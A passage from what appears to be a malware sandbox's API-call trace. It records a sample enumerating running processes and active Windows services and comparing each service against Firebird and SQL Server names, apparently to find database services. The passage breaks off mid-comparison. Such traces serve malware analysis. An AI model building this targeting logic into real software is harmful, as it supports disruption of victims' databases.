lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0168.470] lstrlenW (lpString="lsass.exe") returned 9 [0168.470] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0168.471] lstrlenW (lpString="lsm.exe") returned 7 [0168.471] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.471] lstrlenW (lpString="svchost.exe") returned 11 [0168.471] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.472] lstrlenW (lpString="svchost.exe") returned 11 [0168.472] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.472] lstrlenW (lpString="svchost.exe") returned 11 [0168.472] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.473] lstrlenW (lpString="svchost.exe") returned 11 [0168.473] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.473] lstrlenW (lpString="svchost.exe") returned 11 [0168.473] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0168.474] lstrlenW (lpString="audiodg.exe") returned 11 [0168.474] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.474] lstrlenW (lpString="svchost.exe") returned 11 [0168.474] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0168.475] lstrlenW (lpString="explorer.exe") returned 12 [0168.475] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0168.475] lstrlenW (lpString="dwm.exe") returned 7 [0168.475] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.476] lstrlenW (lpString="svchost.exe") returned 11 [0168.476] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0168.476] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0168.476] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0168.477] lstrlenW (lpString="spoolsv.exe") returned 11 [0168.477] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0168.477] lstrlenW (lpString="reader_sl.exe") returned 13 [0168.477] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0168.478] lstrlenW (lpString="svchost.exe") returned 11 [0168.478] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.478] lstrlenW (lpString="taskhost.exe") returned 12 [0168.478] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.479] lstrlenW (lpString="dllhost.exe") returned 11 [0168.479] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0168.479] lstrlenW (lpString="taskhost.exe") returned 12 [0168.479] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.480] lstrlenW (lpString="dllhost.exe") returned 11 [0168.480] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0168.480] lstrlenW (lpString="dllhost.exe") returned 11 [0168.480] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0168.481] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0168.481] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0168.481] lstrlenW (lpString="cmd.exe") returned 7 [0168.481] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0168.482] lstrlenW (lpString="conhost.exe") returned 11 [0168.482] Process32NextW (in: hSnapshot=0x180, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0168.482] CloseHandle (hObject=0x180) returned 1 [0168.482] Sleep (dwMilliseconds=0x1f4) [0169.510] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x428b6b8 [0169.511] EnumServicesStatusExW (in: hSCManager=0x428b6b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0169.511] GetLastError () returned 0xea [0169.511] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x428e0b8 [0169.511] EnumServicesStatusExW (in: hSCManager=0x428b6b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428e0b8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428e0b8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0169.512] CloseServiceHandle (hSCObject=0x428b6b8) returned 1 [0169.512] lstrlenW (lpString="Appinfo") returned 7 [0169.512] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0169.512] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0169.513] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0169.513] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0169.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0169.513] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0169.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0169.513] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0169.513] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0169.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0169.513] lstrlenW (lpString="AudioSrv") returned 8 [0169.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0169.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0169.513] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0169.513] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0169.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0169.513] lstrlenW (lpString="BFE") returned 3 [0169.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0169.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0169.513] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0169.513] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0169.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0169.513] lstrlenW (lpString="CryptSvc") returned 8 [0169.513] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0169.513] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0169.513] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0169.513] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0169.513] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0169.513] lstrlenW (lpString="CscService") returned 10 [0169.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0169.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0169.514] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0169.514] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0169.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0169.514] lstrlenW (lpString="DcomLaunch") returned 10 [0169.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0169.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0169.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0169.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0169.514] lstrlenW (lpString="Dhcp") returned 4 [0169.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0169.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0169.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0169.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0169.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0169.514] lstrlenW (lpString="Dnscache") returned 8 [0169.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.514] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.514] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.514] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.514] lstrlenW (lpString="DPS") returned 3 [0169.514] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.514] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.514] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.514] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.515] lstrlenW (lpString="eventlog") returned 8 [0169.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0169.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0169.515] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0169.515] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0169.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0169.515] lstrlenW (lpString="EventSystem") returned 11 [0169.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.515] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.515] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.515] lstrlenW (lpString="gpsvc") returned 5 [0169.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.515] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.515] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.515] lstrlenW (lpString="iphlpsvc") returned 8 [0169.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.515] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.515] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.515] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.515] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.515] lstrlenW (lpString="LanmanServer") returned 12 [0169.515] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.516] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.516] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.516] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.516] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.516] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.516] lstrlenW (lpString="lmhosts") returned 7 [0169.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.516] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.516] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.516] lstrlenW (lpString="MMCSS") returned 5 [0169.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0169.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0169.516] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0169.516] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0169.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0169.516] lstrlenW (lpString="MpsSvc") returned 6 [0169.516] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.516] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.516] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.516] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.516] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.517] lstrlenW (lpString="Netman") returned 6 [0169.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0169.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0169.517] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0169.517] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0169.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0169.517] lstrlenW (lpString="netprofm") returned 8 [0169.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.517] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.517] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.517] lstrlenW (lpString="NlaSvc") returned 6 [0169.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.517] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.517] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.517] lstrlenW (lpString="nsi") returned 3 [0169.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.517] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.517] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.517] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.517] lstrlenW (lpString="PcaSvc") returned 6 [0169.517] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.517] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.518] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.518] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.518] lstrlenW (lpString="PlugPlay") returned 8 [0169.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.518] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.518] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.518] lstrlenW (lpString="Power") returned 5 [0169.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.518] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.518] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.518] lstrlenW (lpString="ProfSvc") returned 7 [0169.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.518] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.518] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.518] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.518] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.518] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.518] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.518] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.518] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.519] lstrlenW (lpString="RpcSs") returned 5 [0169.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.519] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.519] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.519] lstrlenW (lpString="SamSs") returned 5 [0169.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.519] lstrlenW (lpString="Schedule") returned 8 [0169.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.519] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.519] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.519] lstrlenW (lpString="SENS") returned 4 [0169.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.519] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.519] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.519] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.519] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.519] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.519] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.519] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.520] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.520] lstrlenW (lpString="Spooler") returned 7 [0169.520] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.520] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.520] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.520] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.520] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.520] lstrlenW (lpString="SysMain") returned 7 [0169.520] lstrcmpiW 